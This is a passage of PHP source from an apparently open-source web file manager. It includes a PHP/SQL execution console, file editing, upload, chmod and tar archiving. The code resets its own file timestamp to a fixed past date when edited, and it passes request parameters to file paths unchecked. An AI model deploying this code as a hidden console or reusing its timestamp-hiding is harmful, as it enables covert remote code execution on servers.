</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
